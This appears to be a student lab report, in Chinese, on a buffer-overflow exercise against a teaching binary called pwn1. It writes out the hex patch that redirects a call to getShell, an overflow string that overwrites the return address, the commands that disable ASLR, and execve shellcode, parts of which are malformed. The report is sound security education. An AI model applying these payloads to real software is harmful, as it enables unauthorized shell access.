一.实验内容
本次实验针对 Linux 平台可执行文件 pwn1,围绕缓冲区溢出(BOF)漏洞挖掘与 shellcode 注入技术展开,核心目标是通过三种路径篡改程序执行流程:1. 手动修改机器指令,将 main 函数调用的 foo 函数替换为 getShell 函数;2. 利用 foo 函数的 BOF 漏洞,设计攻击字符串覆盖返回地址触发 getShell;3. 关闭系统安全防护后,注入自定义 shellcode 以获取交互 Shell。
学习过程中,既深入掌握汇编指令解析、栈内存结构等底层知识,也熟练运用 gdb 调试、vi 十六进制编辑、patchelf 配置等工具,并深化对小端字节序、ASLR 机制、堆栈权限控制等关键概念的理解。
二.实验过程
1.直接修改程序机器指令,改变程序执行流程
修改主机
输入指令objdump -d pwn1 | more找到getshell,foo,main
输入cp pwn1 pwn2,复制一个文件,然后输入vi pwn2进入到文件中。
打开文件后在 vim 的普通模式下,输入:%!xxd命令进入十六进制编辑模式
执行命令后,vim 将文件内容以十六进制的形式显示出来
之后向下翻找找到0xd7ffffff并将e8d7ffffff改为e8c3ffffff
之后返回查看是否正确运用于shell
执行./pwn2,可见成功执行
2.通过构造输入参数,造成BOF攻击,改变程序执行流
反汇编,查看foo函数
启动gdb调试目标文件:执行gdb pwn1,进入调试模式
输入r后输入1111111122222222333333334444444412345678,再输入info r确认输入字符串有哪几个字符覆盖到返回地址上
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令生成包括这样字符串的一个文件,再输入xxd input查看input文件的内容是否达到预期,将input的输入,通过管道符“|”,作为pwn1的输入
3.注入Shellcode并执行
确保 Linux 环境中已安装 patchelf、gdb、perl和readelf
echo "0" /proc/sys/kernel/randomize_va_space用来关闭地址随机化
more /proc/sys/kernel/randomize_va_space用来验证地址随机化是否关闭
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 创建一个 input_shellcode 文件,接着输入 (cat input_shellcode;cat) | ./pwn1 将input_shellcode作为pwn1的输入,输入 ps -ef | grep pwn1 查看进程,进而得知我们的进程号为39609
启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析,然后输入break *0x080484ae设置断点
三、问题及解决方案
问题1:找不到进程号,只有一个
解决方法:询问豆包,请教同学,使用./ &解决,成功找到进程号
四、学习感悟、思考等
这次 pwn1 缓冲区溢出实验,让我跳出了表层代码逻辑,真正触碰到了计算机底层运行的 “脉搏”。从手动改指令、覆返回地址到注入 shellcode,每一步都是对汇编、栈结构的实战验证 —— 比如调试时盯着 gdb 里的内存地址,才真切理解小端字节序不是书本上的概念,而是直接影响攻击字符串构造的关键。
工具的运用也让我明白,漏洞挖掘从来不是 “单打独斗”:gdb 找断点、vi 改十六进制、patchelf 调动态库,这些工具的配合才让攻击路径落地。而关闭 ASLR、调整堆栈权限的操作,则让我直观感受到系统安全机制与漏洞利用的 “攻防博弈”。
不过实验也让我思考:现实中系统防护远复杂于实验环境,如何在更严格的安全策略下识别风险?这次实践不仅是掌握技术,更培养了我从 “攻击者视角” 审视程序安全的思维,也让我意识到,写出安全的代码,必须先理解漏洞产生的根源。